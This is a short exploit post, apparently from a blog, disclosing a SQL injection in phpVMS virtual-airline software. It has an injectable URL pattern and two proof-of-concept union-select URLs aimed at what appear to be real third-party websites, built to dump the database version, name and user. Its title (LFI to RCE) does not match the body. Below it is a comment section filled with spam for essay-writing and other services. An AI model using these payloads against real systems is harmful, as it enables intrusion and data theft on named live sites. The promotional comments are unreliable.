LFI to RCE via access_log injection

phpVMS Virtual Airline Administration <= SQL Injection Vulnerability

[o] phpVMS Virtual Airline Administration <= SQL Injection Vulnerability

Software : ZAPms
Version   : 2.1.934 & 2.1.935
Vendor   : http://www.phpvms.net
Author   : NoGe
Contact  : noge[dot]code[at]gmail[dot]com


[o] Exploit

http://localhost/[path]/index.php/PopUpNews/popupnewsitem/?itemid=[SQLi]


[o] PoC

 http://vupscargo.com/index.php/PopUpNews/popupnewsitem/?itemid=43+union+select+1,version(),database(),4,user()--
http://malaysiava.org/index.php/PopUpNews/popupnewsitem/?itemid=12+union+select+1,version(),database(),4,user()--

Comments

unyil said…
smangat ya kk,nge bug lagi gmana kabar s4va,aje,wishnu,ander gay, huaaaa...ah miss u deh
evilc0de said…
aih masih mahok ya kaw? wkakwakwkawkakwak..
matthews said…
wakwkakwakwak si unyil, long time no see
evilc0de said…
satu lagi mahok muncul.. lol
kemana aja klean smua?
PHP Development said…
Useful post. Thanks for the post,

PHP Development
Amelia said…
Thanks for this post! see it here
alexxlexx said…
Thanks for the link, best wishes from http://prime-essay.org/
Unknown said…
If you need to write good essay and any report which, recommended a cool site. It is the best writing service for all.
Unknown said…
Hi! My brother is professional php developer. I think he would like your article=)
And I am professional essay writer and I earn money byby writing essays=)
All my friends pay people to write papers
mahjong said…
Really impressive post. I read it whole and going to share it with my social circules. I enjoyed your article and planning to rewrite it on my own blog.
mahjong | agario | minecraft sniper games | pacman
Unknown said…
With the expansion of time people always look for trusted and quick services for different matters of their life.Now online education has become important part of modern world.The college essays click this link and hire writer for writing assignments and essays according to your reguirements.Read more at www.advanced-writer.com
Anonymous said…
If you feel that writing is not your strong point and you are lack of time and skills,in this case,welcome to www.essays-shark.net and get rid of all your problems with one click
kitty23 said…
Excellent site! I get to see more informative posts from you in future! And I can say for myself that writing essays is a difficult task! Thats way, http://essay-mania.com may be the best solution!
Unknown said…
I offering you an opportunity to get more free time and do many things you should be doing while you are in college and not waste your time on boring assignments! This why i proposed you visit on site http://essay-professors.com where I usually order my assignments!
Unknown said…
Wow!..Amazing.. I have no words to describe it
happy wheels | friv4school | happy wheels
essay-experts said…
Custom writing assistance from the most educated writers!
Henry said…
Well, I was looking for it. I found some but they didn't work. And when I tried this it worked. Now it's time to avail https://www.vfixphonesandtech.com/ for more information.